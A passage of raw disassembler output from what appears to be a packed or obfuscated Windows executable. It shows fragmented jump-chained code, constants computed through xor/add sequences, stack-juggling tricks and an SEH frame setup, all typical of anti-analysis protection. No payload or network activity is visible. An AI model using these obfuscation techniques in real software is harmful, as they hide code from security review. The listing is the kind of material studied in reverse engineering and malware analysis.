; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA3D loc_42CDC5: ; CODE XREF: sub_42CA3D+28F0j jmp loc_42491A ; END OF FUNCTION CHUNK FOR sub_42CA3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42CDCA: ; CODE XREF: sub_426E98+E4j jmp loc_429F49 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_42CDCF: ; CODE XREF: wto1jq8f:0042F967j jns loc_42E1B3 ; =============== S U B R O U T I N E ======================================= sub_42CDD5 proc near ; CODE XREF: sub_42AA8E-3213p arg_0 = dword ptr 4 mov [esp+0], esi pop esi xchg edx, [esp-4+arg_0] retn sub_42CDD5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_42CDDD: ; CODE XREF: sub_42E5B2+16j jmp loc_4280DB ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; =============== S U B R O U T I N E ======================================= sub_42CDE2 proc near ; DATA XREF: wto1jq8f:004242B1o rol eax, 1Bh mov ds:dword_42E508, eax retn sub_42CDE2 endp ; --------------------------------------------------------------------------- loc_42CDEC: ; CODE XREF: wto1jq8f:0042FDD8j ror eax, 1Bh call sub_42E3C3 ; START OF FUNCTION CHUNK FOR sub_4246D4 loc_42CDF4: ; CODE XREF: sub_4246D4+7j jmp loc_42ED47 ; END OF FUNCTION CHUNK FOR sub_4246D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3EB loc_42CDF9: ; CODE XREF: sub_42A3EB:loc_42DC80j push 21054D91h loc_42CDFE: ; CODE XREF: sub_426E98:loc_42DFC3j pop ecx xor ecx, 6800B15Fh add ecx, ebp add ecx, 0B6FA032Eh mov [ecx], eax jmp loc_42E039 ; END OF FUNCTION CHUNK FOR sub_42A3EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42CE14: ; CODE XREF: sub_42E9E8:loc_42D531j ror edi, 0Fh jmp loc_4277BE ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- loc_42CE1C: ; CODE XREF: wto1jq8f:00428892j jz loc_424EED jmp loc_42426E ; --------------------------------------------------------------------------- loc_42CE27: ; DATA XREF: sub_428BA9-3Ao mov [ebp-0Bh], al xor eax, eax mov al, [ebp-0Bh] mov ecx, 8 sub ecx, eax xor eax, eax mov al, [ebp-9] jmp loc_42EA94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA04 loc_42CE40: ; CODE XREF: sub_42AA04+13j mov edx, 0B9726E5Ah call sub_429165 push eax rol eax, 15h ; END OF FUNCTION CHUNK FOR sub_42AA04 ; START OF FUNCTION CHUNK FOR sub_42604C loc_42CE4E: ; CODE XREF: sub_42604C:loc_42DA75j mov ds:dword_42DB08, eax retn ; END OF FUNCTION CHUNK FOR sub_42604C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_42CE55: ; CODE XREF: sub_424BF9+2A09j ; sub_42AA04+8j ror eax, 15h jmp loc_428BDA ; END OF FUNCTION CHUNK FOR sub_424BF9 ; =============== S U B R O U T I N E ======================================= sub_42CE5D proc near ; DATA XREF: wto1jq8f:0042A81Do pop ecx call sub_428F61 sub_42CE5D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42CE64: ; CODE XREF: wto1jq8f:0042BC2Ej jmp loc_429843 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D5BA loc_42CE69: ; CODE XREF: sub_42D5BA+6j add edx, 0F02E81A1h mov edx, [edx] xchg edx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42D5BA ; --------------------------------------------------------------------------- loc_42CE75: ; CODE XREF: wto1jq8f:loc_428EEAj jnz loc_426AF5 loc_42CE7B: ; CODE XREF: wto1jq8f:loc_42C0F0j jmp loc_42D0B3 ; =============== S U B R O U T I N E ======================================= sub_42CE80 proc near ; CODE XREF: sub_42F03D+1p ; wto1jq8f:0042F258j ; FUNCTION CHUNK AT 0042D408 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D99D SIZE 00000013 BYTES xchg edx, [esp+0] pop edx mov ebp, esp add esp, 0FFFFFFF4h jmp loc_42D99D sub_42CE80 endp ; =============== S U B R O U T I N E ======================================= sub_42CE8E proc near ; CODE XREF: wto1jq8f:0042921Cj ; sub_42F36F+Ap arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx add edi, 0B353C8CEh xchg edi, [esp-4+arg_0] push 0 call sub_42F563 push eax push offset sub_42F067 jmp nullsub_203 sub_42CE8E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42CEAD: ; CODE XREF: sub_42C486:loc_42906Cj jz loc_42788A ja loc_42928E jmp loc_427880 ; END OF FUNCTION CHUNK FOR sub_42C486 ; =============== S U B R O U T I N E ======================================= sub_42CEBE proc near ; CODE XREF: sub_42DA42+6p ; wto1jq8f:0042E780j mov [esp+0], edx pop edx push 0 push 0 call sub_4276C3 retn sub_42CEBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42CECC: ; CODE XREF: sub_42E9E8:loc_427788j jmp loc_424AF6 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CED1 proc near ; CODE XREF: sub_428183j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042D31D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FD02 SIZE 00000020 BYTES push ebp mov ebp, esp push ecx mov [ebp+var_4], eax call sub_42708B push eax jmp loc_42D31D sub_42CED1 endp ; --------------------------------------------------------------------------- loc_42CEE3: ; CODE XREF: wto1jq8f:00428AACj xor ecx, eax sbb ebx, ecx and eax, 0DF04398Ch ror edx, 3 jmp loc_42BD4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42CEF5: ; CODE XREF: sub_42E9E8:loc_424AF6j ; sub_427A8D:loc_4286D8j cmp ebx, 53EE830Ch jmp loc_42600D ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= sub_42CF00 proc near ; CODE XREF: wto1jq8f:004270EEj ; sub_42ED54:loc_42ED72p ; FUNCTION CHUNK AT 0042FD23 SIZE 00000005 BYTES mov [esp+0], esi pop esi call sub_426437 push offset loc_429C7E jmp loc_42FD23 sub_42CF00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42CF13: ; CODE XREF: wto1jq8f:0042EA48j jge loc_42E090 adc eax, ebx jmp sub_42D882 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428501 loc_42CF20: ; CODE XREF: sub_428501+Bj pushf push offset loc_42ABF1 jmp loc_42F2C2 ; END OF FUNCTION CHUNK FOR sub_428501 ; =============== S U B R O U T I N E ======================================= sub_42CF2B proc near ; DATA XREF: sub_428BC4-DE0o call sub_429CC7 sub_42CF2B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42A3BC loc_42CF30: ; CODE XREF: sub_42A3BC+Fj pop eax add eax, 0F59D23A2h xor eax, 0C35221C5h cmp eax, 228EB4C4h jmp loc_42484A ; END OF FUNCTION CHUNK FOR sub_42A3BC ; --------------------------------------------------------------------------- locret_42CF48: ; CODE XREF: wto1jq8f:0042E944j retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42CF4B: ; CODE XREF: sub_425F4F+Cj jmp loc_4273AF ; END OF FUNCTION CHUNK FOR sub_425F4F ; =============== S U B R O U T I N E ======================================= sub_42CF50 proc near ; CODE XREF: sub_42AA68p ; FUNCTION CHUNK AT 00427BF3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D7F2 SIZE 00000005 BYTES push large dword ptr fs:0 mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_427BF3 sub_42CF50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42CF6A proc near ; CODE XREF: wto1jq8f:004240BEj ; sub_42628C+55A5p ; FUNCTION CHUNK AT 00424130 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042601E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428403 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jmp loc_424130 sub_42CF6A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_42CF73: ; CODE XREF: sub_42628C+Fj ; sub_42628C+559Fj jo loc_424714 call sub_42E4EA cmp eax, 68A9D923h jmp loc_42D14A ; END OF FUNCTION CHUNK FOR sub_42628C ; =============== S U B R O U T I N E ======================================= sub_42CF89 proc near ; CODE XREF: wto1jq8f:0042B154j ; sub_42506F+AC48p ; FUNCTION CHUNK AT 00424257 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424738 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426936 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A740 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AEF4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042FA8E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push 6F9A8005h pop edi jmp loc_42A740 sub_42CF89 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D71D loc_42CF99: ; CODE XREF: sub_42D71D-6218j jmp loc_429096 ; END OF FUNCTION CHUNK FOR sub_42D71D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42CF9E: ; CODE XREF: sub_428AC6-BF3j xor esi, 921B84CBh add esi, ebp add esi, 2243DC28h mov esi, [esi] jmp loc_426941 ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42CFB3: ; CODE XREF: sub_4244EA:loc_42B38Ej and ax, 38FFh loc_42CFB7: ; CODE XREF: sub_429BFF:loc_42BC75j cmp ax, 20FFh jz loc_427CC2 xor eax, eax jmp loc_424E3C ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42CFC8: ; CODE XREF: sub_42F50F:loc_424AF1j cmp dword ptr [ebp-8], 0 jbe loc_42A102 jmp loc_42B0A3 ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- xor edx, 0F363757Bh jmp sub_427D00 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CFE2 proc near ; CODE XREF: sub_42D910+6j ; FUNCTION CHUNK AT 00424000 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0042E75B SIZE 00000005 BYTES push ebp mov ebp, esp push ecx cmp ds:dword_42DB0C, 0 jmp loc_42E75B sub_42CFE2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D63 loc_42CFF2: ; CODE XREF: sub_424D63+9D03j mov ecx, 5E6E9DB7h loc_42CFF7: ; CODE XREF: sub_424D63:loc_424D6Ej mov eax, 400h push esi push offset loc_42466D jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_424D63 ; --------------------------------------------------------------------------- loc_42D007: ; CODE XREF: wto1jq8f:0042EE33j cmp ebp, 8E6F6DEDh jmp loc_4297E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A202 loc_42D012: ; CODE XREF: sub_42A202+15j push offset loc_42F20C jmp nullsub_77 ; END OF FUNCTION CHUNK FOR sub_42A202 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D01C: ; CODE XREF: sub_429BFF+36B5j xchg ecx, [esp+4+var_4] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B63C loc_42D024: ; CODE XREF: sub_42B63C+1Cj add ebx, ebp add ebx, 11634D3Ah push offset sub_424ADA loc_42D031: ; CODE XREF: sub_42E7B6j jmp nullsub_78 ; END OF FUNCTION CHUNK FOR sub_42B63C ; --------------------------------------------------------------------------- sub ebx, 8550B4F7h or edi, 9E1C0918h jmp sub_4272CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42D047: ; CODE XREF: sub_426E98:loc_426EDDj push eax push 875F9086h pop eax or eax, 501396E1h sub eax, 14712F7Ah xor eax, 3D119A92h and edx, eax pop eax jmp loc_42F536 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42D068: ; CODE XREF: sub_42F50F-561Aj ; sub_42F50F:loc_42B0A3j push 4A5A3316h pop eax and eax, 61BF0E95h xor eax, 42B61E86h add eax, 87A61E54h add eax, ebp push edi jmp loc_42908C ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42D088: ; CODE XREF: sub_42C486-4770j jz loc_42BBA1 jmp loc_42C75A ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42D093: ; CODE XREF: sub_424F7A+28CCj and ebp, esi test esi, ebx jmp loc_42E99D ; END OF FUNCTION CHUNK FOR sub_424F7A ; =============== S U B R O U T I N E ======================================= sub_42D09C proc near ; DATA XREF: wto1jq8f:00427BDDo jz loc_42D9E7 sub_42D09C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42D0A2: ; CODE XREF: sub_42AEDD:loc_426030j ; sub_42D9D9+8j push offset loc_42CC24 jmp loc_424A05 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- xor edx, esi jmp sub_42628C ; --------------------------------------------------------------------------- loc_42D0B3: ; CODE XREF: wto1jq8f:loc_42CE7Bj xchg ebp, [eax] push edi jnz loc_42DCA9 and ebp, 0E27ABEFFh jmp loc_42D64F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_42D0C7: ; CODE XREF: sub_42ED01-5D0Aj jo nullsub_147 pushf loc_42D0CE: ; CODE XREF: sub_42ED01:loc_42B7F0j call sub_42B35E loc_42D0D3: ; CODE XREF: wto1jq8f:loc_42DCA9j jmp loc_4267D3 ; END OF FUNCTION CHUNK FOR sub_42ED01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_42D0D8: ; CODE XREF: sub_4240DC:loc_424DFDj mov ecx, eax xchg ecx, [esp+0] push edi push 77C51A40h pop edi xor edi, 883AE5BFh xchg edi, [esp+4+var_4] jmp loc_42FCBC ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_42D0F2: ; CODE XREF: sub_426144:loc_424370j add esi, eax sub edi, 8CCAC83Ah jmp loc_424CE8 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42D0FF: ; CODE XREF: sub_42B8FC:loc_42EE74j mov esp, ebp pop ebp mov eax, ds:dword_42954C or eax, eax jnz loc_42A92C jmp loc_426B88 ; END OF FUNCTION CHUNK FOR sub_42B8FC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42D116: ; CODE XREF: wto1jq8f:0042EDE9j jmp loc_42DD54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42D11B: ; CODE XREF: sub_42760F+31BFj jmp nullsub_79 ; END OF FUNCTION CHUNK FOR sub_42760F ; =============== S U B R O U T I N E ======================================= sub_42D120 proc near ; DATA XREF: sub_42F563-7683o ; FUNCTION CHUNK AT 004274C8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042B917 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D28E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042DD4F SIZE 00000005 BYTES or eax, eax jnz loc_42A4BD jmp loc_42DD4F sub_42D120 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42D12E: ; CODE XREF: sub_42A8ED+11B7j jmp loc_42442B ; END OF FUNCTION CHUNK FOR sub_42A8ED ; =============== S U B R O U T I N E ======================================= sub_42D133 proc near ; CODE XREF: sub_424A1B+3p xchg eax, [esp+0] pop eax push ecx mov esp, ebp jmp loc_42814E sub_42D133 endp ; =============== S U B R O U T I N E ======================================= sub_42D13F proc near ; DATA XREF: sub_428183+6o ; FUNCTION CHUNK AT 0042E388 SIZE 00000005 BYTES push ebp push offset sub_42BC9B jmp loc_42E388 sub_42D13F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_42D14A: ; CODE XREF: sub_42628C+6CF8j jb loc_42CCC8 jle loc_4288D3 jmp sub_425F4F ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C18 loc_42D15B: ; CODE XREF: sub_429C18+13j call sub_424702 ; END OF FUNCTION CHUNK FOR sub_429C18 ; START OF FUNCTION CHUNK FOR sub_42655A loc_42D160: ; CODE XREF: sub_42655A+10j jz loc_429EB1 jmp loc_429A3C ; END OF FUNCTION CHUNK FOR sub_42655A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42D16C: ; CODE XREF: wto1jq8f:0042C778j jmp loc_4271EC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429816 loc_42D172: ; CODE XREF: sub_429816:loc_42A4B8j add eax, 4EDFA594h mov eax, [eax] push ebx pushf push offset loc_42D2ED jmp nullsub_227 ; END OF FUNCTION CHUNK FOR sub_429816 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42D186: ; CODE XREF: sub_42AA68:loc_42DCAFj or ecx, edx mov ebp, [eax] add ebx, 0D76198A0h test ebp, ebx jmp loc_42A479 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- loc_42D197: ; CODE XREF: wto1jq8f:0042C79Fj jbe loc_42DDC0 shl eax, 1Ch jmp loc_4298CC ; --------------------------------------------------------------------------- loc_42D1A5: ; CODE XREF: wto1jq8f:00426BC6j shl edx, 6 ; =============== S U B R O U T I N E ======================================= sub_42D1A8 proc near ; CODE XREF: sub_42EDB9-6AD8p ; FUNCTION CHUNK AT 00428A9A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C657 SIZE 00000009 BYTES xchg esi, [esp+0] pop esi add eax, ebp add eax, 0C047B391h mov eax, [eax] mov eax, [eax+3Ch] jmp loc_428A9A sub_42D1A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_42D1BE: ; CODE XREF: sub_424406+2113j popf mov [esi], edi add ebx, eax loc_42D1C3: ; CODE XREF: sub_424406:loc_42EE38j call sub_424585 mov edx, 19CFC62Bh call sub_429165 push eax rol eax, 1Ah jmp loc_4244A4 ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- loc_42D1DB: ; CODE XREF: wto1jq8f:0042BFEAj jbe loc_42A102 jmp loc_425AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42D1E6: ; CODE XREF: sub_42AECE:loc_42FF90j xor edx, ecx cmp edx, 0ADDE8337h jmp loc_424417 ; END OF FUNCTION CHUNK FOR sub_42AECE ; --------------------------------------------------------------------------- loc_42D1F3: ; CODE XREF: wto1jq8f:0042CB94j push 36E2E401h pop eax and eax, 98B42A7Fh cmp eax, 1F1C2E91h jmp loc_42984D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C547 loc_42D20A: ; CODE XREF: sub_42C547:loc_42DB10j or ecx, 0C2F9B667h and ecx, 60B9C1A1h add ecx, 9F892383h mov [ecx], eax mov ecx, offset nullsub_3 push offset sub_428D01 jmp loc_425A2C ; END OF FUNCTION CHUNK FOR sub_42C547 ; =============== S U B R O U T I N E ======================================= sub_42D22D proc near ; CODE XREF: wto1jq8f:004259D8j ; sub_42A909-34EDp ; FUNCTION CHUNK AT 00429738 SIZE 00000005 BYTES mov [esp+0], ecx pop ecx test al, al jz nullsub_214 jmp loc_429738 sub_42D22D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42D23E: ; CODE XREF: sub_42A909-4C79j or edx, 373234A5h jmp loc_42A931 ; --------------------------------------------------------------------------- loc_42D249: ; CODE XREF: sub_42A909+4Cj test al, al jz loc_428ED1 jmp loc_42ED98 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- push offset sub_428EF4 jmp locret_42FAC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D260: ; CODE XREF: sub_426535-186Aj ; wto1jq8f:loc_429DB2j rol edi, 1Ah push 2D01A48Ch xchg edi, edx loc_42D26A: ; CODE XREF: sub_426535:loc_429F3Ej push esi push 0F4F9E7F2h pop esi sub esi, 94589621h jmp loc_42677D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- xor ecx, edi jmp loc_42672F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42D284: ; CODE XREF: sub_429B76-1FC3j jmp loc_42ADDB ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42D289: ; CODE XREF: sub_42E9E8-A7ECj jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D120 loc_42D28E: ; CODE XREF: sub_42D120-5C4Fj ; sub_42D120:loc_42B917j call sub_424585 mov edx, 0F2B89A19h call sub_429165 call sub_428136 ; END OF FUNCTION CHUNK FOR sub_42D120 ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42D2A2: ; CODE XREF: sub_429BFF:loc_425F21j mov edx, 3BD2EC5Ch push ecx push 7112064Bh pop ecx add ecx, 8F30BA52h jmp loc_42D01C ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_42D2B9: ; CODE XREF: wto1jq8f:0042964Ej and ecx, ebp ; =============== S U B R O U T I N E ======================================= sub_42D2BB proc near ; CODE XREF: sub_42AA68:loc_4270DCj ; wto1jq8f:004276A7p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0042A1CC SIZE 0000000E BYTES mov [esp+0], edx pop edx push esi pushf push 0AE6E6E65h xchg edx, [esp+8+var_8] mov esi, edx jmp loc_42A1CC sub_42D2BB endp ; --------------------------------------------------------------------------- loc_42D2D0: ; DATA XREF: sub_426535+3F12o test al, al jz loc_42A68E jmp loc_426383 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AE5E loc_42D2DD: ; CODE XREF: sub_42AE5E:loc_42EFF7j xchg ebp, [esp-4+arg_0] mov esi, ebp pop ebp push offset sub_42BC8B jmp nullsub_253 ; END OF FUNCTION CHUNK FOR sub_42AE5E ; --------------------------------------------------------------------------- loc_42D2ED: ; CODE XREF: wto1jq8f:0042FE0Cj ; DATA XREF: sub_429816+3966o push 1C2B6FC9h pop ebx ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42D2F3: ; CODE XREF: sub_4293FF:loc_42C988j add ebx, 0E416F427h loc_42D2F9: ; CODE XREF: wto1jq8f:00427624j popf xchg ebx, [esp+0] jmp loc_42B13C ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42708B loc_42D302: ; CODE XREF: sub_42708B:loc_424AC8j ; sub_42708B+221Bj mov eax, 0BB8h call sub_424F23 add eax, 0BB8h loc_42D311: ; CODE XREF: wto1jq8f:0042A6B4j push eax call sub_429E5B loc_42D317: ; CODE XREF: sub_42FF9A-72F4j jmp nullsub_171 ; END OF FUNCTION CHUNK FOR sub_42708B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CED1 loc_42D31D: ; CODE XREF: sub_42CED1+Dj jmp loc_42FD02 ; END OF FUNCTION CHUNK FOR sub_42CED1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D322 proc near ; CODE XREF: sub_427A30:loc_427412j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00429857 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A130 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042BEA8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E72F SIZE 00000015 BYTES push ebp mov ebp, esp push 66827416h mov [esp+4+var_4], ecx mov esp, ebp pop ebp jmp loc_42A130 sub_42D322 endp ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 3Eh dd 0BFFFF8Ch, 0D293E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42D342: ; CODE XREF: wto1jq8f:00428F85j cdq ; =============== S U B R O U T I N E ======================================= sub_42D343 proc near ; CODE XREF: wto1jq8f:004280FCp ; FUNCTION CHUNK AT 0042CA88 SIZE 0000001A BYTES xchg ecx, [esp+0] pop ecx push 0EDDC533Dh pop ebx jmp loc_42CA88 sub_42D343 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42D352: ; DATA XREF: sub_42D9D9-5917o mov [ebp-4], eax jmp loc_42699F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D35A proc near ; CODE XREF: sub_42628C-1B75p ; sub_429C18p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042DAA4 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax jmp loc_42DAA4 sub_42D35A endp ; =============== S U B R O U T I N E ======================================= sub_42D368 proc near ; CODE XREF: wto1jq8f:00424067j ; sub_428C71:loc_42CD5Cp arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg edi, [esp-4+arg_0] mov ebp, edi jmp loc_42EFC5 sub_42D368 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42D376: ; CODE XREF: sub_42A8ED:loc_427916j jnz loc_42443C lea edx, [ebp-14h] mov eax, offset dword_425924 call sub_42A56D lea eax, [ebp-14h] push eax call sub_42B02D jmp loc_42BA9F ; END OF FUNCTION CHUNK FOR sub_42A8ED ; =============== S U B R O U T I N E ======================================= sub_42D397 proc near ; CODE XREF: sub_42A8ED+4j ; FUNCTION CHUNK AT 004240D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BAF1 SIZE 00000016 BYTES push ebp jmp loc_4240D7 sub_42D397 endp ; --------------------------------------------------------------------------- push eax push 80BD82B9h pop eax sub eax, ds:4000F1h call sub_42F7AD loc_42D3AF: ; CODE XREF: wto1jq8f:0042D984j jmp sub_424585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264F4 loc_42D3B4: ; CODE XREF: sub_4264F4+7j jmp loc_42632D ; END OF FUNCTION CHUNK FOR sub_4264F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AF82 loc_42D3B9: ; CODE XREF: sub_42AF82-2F73j ; sub_42AF82:loc_42AF90j call nullsub_6 retn ; END OF FUNCTION CHUNK FOR sub_42AF82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42D3BF: ; CODE XREF: sub_426535+9402j jmp loc_42416B ; END OF FUNCTION CHUNK FOR sub_426535 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42D3C6: ; CODE XREF: sub_4282C1:loc_42DA64j jz loc_42E137 jmp loc_42FE3E ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- push 1AA89F6Ah pop eax sub eax, 0FFEC7AE9h xor eax, 291B1ED2h jmp loc_42DCEB ; 